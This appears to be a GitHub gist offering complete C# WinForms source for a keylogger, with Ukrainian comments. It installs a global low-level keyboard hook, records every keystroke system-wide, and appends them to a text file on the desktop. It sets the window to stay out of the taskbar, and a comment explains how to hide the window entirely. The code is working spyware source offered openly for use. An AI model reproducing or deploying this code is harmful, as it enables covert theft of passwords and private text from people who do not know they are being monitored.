Skip to content

Instantly share code, notes, and snippets.

@sunmeat
Last active February 24, 2026 17:47
Show Gist options
  • Select an option

  • Save sunmeat/682d46ecfa98a7830d4bf22e977dc440 to your computer and use it in GitHub Desktop.

Select an option

Save sunmeat/682d46ecfa98a7830d4bf22e977dc440 to your computer and use it in GitHub Desktop.
best winforms keylogger C# example
// код для файлу Program.cs, стандартну форму з шаблону треба видалити
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace HookKeylogger
{
public class Program : Form
{
private static readonly StringBuilder keyLog = new StringBuilder();
private static readonly string logFilePath = @"C:\Users\Alex\Desktop\KeyLog.txt";
private static readonly object _lock = new object();
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static IntPtr _hookId = IntPtr.Zero;
private static LowLevelKeyboardProc _proc = HookCallback;
public Program()
{
Text = "Keylogger";
Width = 500;
Height = 100;
FormClosed += Program_FormClosed;
ShowInTaskbar = false;
// Visible = false; // розкоментувати, якщо треба приховати вікно кейлоггера
}
private void Program_FormClosed(object? sender, FormClosedEventArgs e)
{
UnhookWindowsHookEx(_hookId);
SaveLogsToFileNow(); // фінальний запис при закритті вікна
Application.Exit();
}
[STAThread]
public static void Main()
{
_hookId = SetHook(_proc);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Program());
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using var curProcess = Process.GetCurrentProcess();
using var curModule = curProcess.MainModule!;
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
string? character = GetCharFromVK(vkCode);
if (!string.IsNullOrEmpty(character))
{
lock (_lock)
{
keyLog.Append(character);
}
if (Application.OpenForms.Count > 0 && Application.OpenForms[0] is Program form)
{
form.Invoke(() =>
{
form.Text = $"Keylogger - Останній символ: {character}";
});
}
SaveLogsToFile();
}
}
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
private static string? GetCharFromVK(int vk)
{
var keyboardState = new byte[256];
if (!GetKeyboardState(keyboardState))
return null;
var sb = new StringBuilder(5);
IntPtr layout = GetKeyboardLayout(0);
int result = ToUnicodeEx(
(uint)vk,
0,
keyboardState,
sb,
sb.Capacity,
0,
layout);
if (result <= 0)
return null;
return sb.ToString();
}
private static async void SaveLogsToFile()
{
string textToAppend;
lock (_lock)
{
if (keyLog.Length == 0) return;
textToAppend = keyLog.ToString();
keyLog.Clear();
}
try
{
var encoding = new UTF8Encoding(true);
await File.AppendAllTextAsync(logFilePath, textToAppend, encoding);
}
catch (Exception ex)
{
// MessageBox.Show($"Помилка запису: {ex.Message}", "Помилка", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private static void SaveLogsToFileNow()
{
string textToAppend;
lock (_lock)
{
if (keyLog.Length == 0) return;
textToAppend = keyLog.ToString();
keyLog.Clear();
}
try
{
var encoding = new UTF8Encoding(true);
File.AppendAllText(logFilePath, textToAppend, encoding);
}
catch { }
}
// P/Invoke
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
private static extern IntPtr GetKeyboardLayout(uint idThread);
[DllImport("user32.dll")]
private static extern int ToUnicodeEx(
uint wVirtKey,
uint wScanCode,
byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff,
int cchBuff,
uint wFlags,
IntPtr dwhkl);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment